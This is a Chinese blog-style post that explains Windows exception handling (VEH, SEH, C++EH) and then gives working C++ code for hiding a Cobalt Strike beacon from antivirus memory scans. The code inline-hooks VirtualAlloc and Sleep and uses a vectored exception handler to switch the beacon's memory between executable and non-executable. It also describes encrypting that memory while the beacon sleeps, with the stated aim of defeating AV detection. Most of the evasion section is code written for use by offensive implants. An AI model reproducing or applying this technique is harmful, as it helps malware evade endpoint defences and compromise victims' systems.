windows中的异常处理
windows中的主要异常处理机制:VEH、SHE、C++EH。
SEH中文全称:结构化异常处理。就是平常用的 __try__finally __try__except,是对C的扩展。
WEH中文名称:向量异常处理。一般来说用AddVectorExceptionHandler 去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入链表头的函数先执行,如果为1,则会最优先执行。
C++EH是C++提供的异常处理方式,执行顺序将排在最后。
在用户模式下发生异常时,异常处理分发函数在内部会先调用遍历VEH记录链表的函数,如果没有找到可以处理异常的注册函数,再开始遍历SEH注册链表。
Windows异常处理顺序流程
终止当前程序的执行-->调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)-->执行VEH-->执行SEH-->TopLevelEH(进程调试时不会被执行)-->执行VEH-->交给调试器(上面的异常处理都说处理不了,就再次交给调试器)-->调用异常端口通知csrss.exe
通过流程可以看到VEH的执行顺序是先于SEH的
通过VEH异常处理规避内存扫描
当AV扫描进程空间的时候,并不会将所有的内存空间都扫描一遍,只会扫描敏感的内存区域。
所谓敏感内存区域就是指可执行的区域。思路就是不断改变某一块内存属性,当执行命令或者某些操作的时候,执行的内存属性是可执行的,当功能模块进入睡眠的时候将内存属性改为不可执行。
当执行的地址空间为不可执行时,若强行执行会返回0xc0000005异常,这个异常是指没有执行权限。所以通过VEH抓取这个异常,即可根据需求,动态的改变内存属性,进而逃避内存扫描。
当触发0xc0000005异常的时候需要恢复内存的可执行属性,就通过AddVectoredExceptionHandler去注册一个异常处理函数,作用就是更改内存属性为可执行。那么就需要知道是哪一块地址需要修改,这里要根据申请空间的API决定,如果是 VirtualAlloc 就hook VirtualAlloc ,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile,那么就是默认使用 VirtualAlloc分配空间,
还有一个需要去hook的就是Sleep,因为需要在执行Sleep的时候就将功能模块的内存属性改为不可执行,规避内存扫描。
封装了一个HOOK变量,
class HOOK {
public:
HOOK();
~HOOK();
BOOL Vir_FLAG;
HANDLE hEvent;
BYTE g_OldAlloc[5];
BYTE g_OldSleep[5];
DWORD Beacon_flOldProtect;
LPVOID BeaconAddress;
SIZE_T BeaconLen;
void HookVirtualAlloc();
void UnHookVirtualAlloc();
void HookSleep();
void UnHookSleep();
};
#include"HookVirtual.h"
extern HOOK hook;
HOOK::HOOK()
{
Vir_FLAG=FALSE;
hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);
Beacon_flOldProtect=0;
BeaconAddress=NULL;
BeaconLen=0;
for (int i = 0; i < 5; i++) {
g_OldAlloc[i] = 0;
};
for (int i = 0; i < 5; i++) {
g_OldSleep[i] = 0;
};
}
HOOK::~HOOK()
{
}
static LPVOID
(WINAPI* OldVirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)=VirtualAlloc;
static VOID(WINAPI* OldSleep)(_In_ DWORD dwMilliseconds)=Sleep;
LPVOID WINAPI NewVirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)
{
hook.UnHookVirtualAlloc();
hook.BeaconLen = dwSize;
hook.BeaconAddress = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
hook.HookVirtualAlloc();
printf("分配大小:%d\n", hook.BeaconLen);
printf("分配地址:%d\n", hook.BeaconAddress);
return hook.BeaconAddress;
}
void WINAPI NewSleep(
_In_ DWORD dwMilliseconds
)
{
if (hook.Vir_FLAG)
{
VirtualFree(hook.BeaconAddress, 0, MEM_RELEASE);
hook.Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
hook.UnHookSleep();
OldSleep(dwMilliseconds);
hook.HookSleep();
SetEvent(hook.hEvent); //解锁
}
void HOOK::HookVirtualAlloc()
{
DWORD dwAllocOldProtect = NULL;
BYTE PAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(PAllocData));//保存原来的硬编码
DWORD dwAllocOffset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;//计算偏移
/*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/
RtlCopyMemory(&PAllocData[1], &dwAllocOffset, sizeof(dwAllocOffset));//得到完整的PAllocData
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwAllocOldProtect);//改为可写属性
RtlCopyMemory(OldVirtualAlloc, PAllocData, sizeof(PAllocData));//将偏移地址写入,跳转到新的
VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
};
void HOOK::UnHookVirtualAlloc()
{
DWORD dwOldProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));//还原硬编码
VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);//还原属性
}
void HOOK::HookSleep()
{
DWORD dwSleepOldProtect = NULL;
BYTE PSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
RtlCopyMemory(g_OldSleep, OldSleep, sizeof(PSleepData));//保存原来的硬编码
DWORD dwSleepOffset = (DWORD)(NewSleep) - (DWORD)OldSleep - 5; //计算偏移
/*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/
RtlCopyMemory(&PSleepData[1], &dwSleepOffset, sizeof(dwSleepOffset));//得到完整的PAllocData
VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwSleepOldProtect);//改为可写属性
RtlCopyMemory(OldSleep, PSleepData, sizeof(PSleepData));//将偏移地址写入,跳转到新的
VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
}
void HOOK::UnHookSleep()
{
DWORD dwOldProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect);
RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));//还原硬编码
VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);//还原属性
}
然后就是注册异常函数,这个异常函数就是为了恢复可执行内存属性。
BOOL is_Exception(DWORD eipValue)
{
if (eipValue > 0x1000)
{
return true;
}
else
{
return false;
}
}
is_Exception函数是为了验证是不是在申请空间内范围出现异常,而不是其他内存空间。(NTAPI是一种调用约定)
起一个线程,让它不断等待sleep函数通知,通知后就将内存空间设置为不可执行,线程控制的话就用到了事件。
LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
wprintf(L"异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode);
wprintf(L"线程地址:%lx\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip))
{
printf("恢复可执行内存属性");
VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_EXECUTE_READWRITE, &hook.Beacon_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
while (true)
{
//等待解锁
WaitForSingleObject(hook.hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_READWRITE, &hook.Beacon_flOldProtect);
//设置事件为未被通知的,重新上锁
ResetEvent(hook.hEvent);
}
}
由于杀软并不是一直扫描内存,而是间歇性的扫描敏感内存,因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密,在休眠结束时,再将内存解密来规避杀软内存扫描达到免杀目的。进行内存加密时,需要注意的一点,需要加密的不是我们为shellcode申请的内存,而是shellcode自己使用virtualalloc函数申请的内存。
我们需要对 shellcode 自己使用 VirtualAlloc 函数申请的内存 2 进行加密,这就需要挂钩 sleep 函数到我们自定义的 HookSleep 函数:
在进入 HookSleep 函数时使用自定义加密函数对内存 2 进行加密并使用 VirtualProtect 更改内存 2 权限为 PAGE_NOACCESS,使其不可访问。
恢复原来的 Sleep 函数并调用原函数进行休眠。
在退出 HookSleep 函数时对内存 2 进行解密并使用 VirtualProtect 更改内存 2 权限为可执行权限 PAGE_EXECUTE。
最后代码执行效果
***要注意,这段代码是在32位操作系统中实现的,如果是64位系统,要注意HOOK API中代码的撰写,偏移量等一些参数。